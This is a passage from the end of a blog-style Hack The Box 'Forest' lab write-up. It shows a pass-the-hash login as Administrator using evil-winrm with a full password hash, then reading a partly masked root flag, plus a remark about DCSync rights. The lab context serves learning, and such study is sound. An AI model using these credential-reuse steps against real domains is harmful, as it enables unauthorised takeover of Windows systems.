We can then use the LM hash to login as Administrator:

1
2
3
evil-winrm -i forest -u 'Administrator'  -H 32693b11e6aa90eb43d32c72a07ceea6
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator

root.txt

1
2
type root.txt
06177af6fc1363d915c09ad4c07*****

Woo!

Note from the future: If you’re like me an felt that seeing [+] svc-alfresco is now able to DCSync was a little like magic - fret not! I’m currently writing a post about how add dcsync works behind the scenes.

This post is licensed under CC BY 4.0 by the author.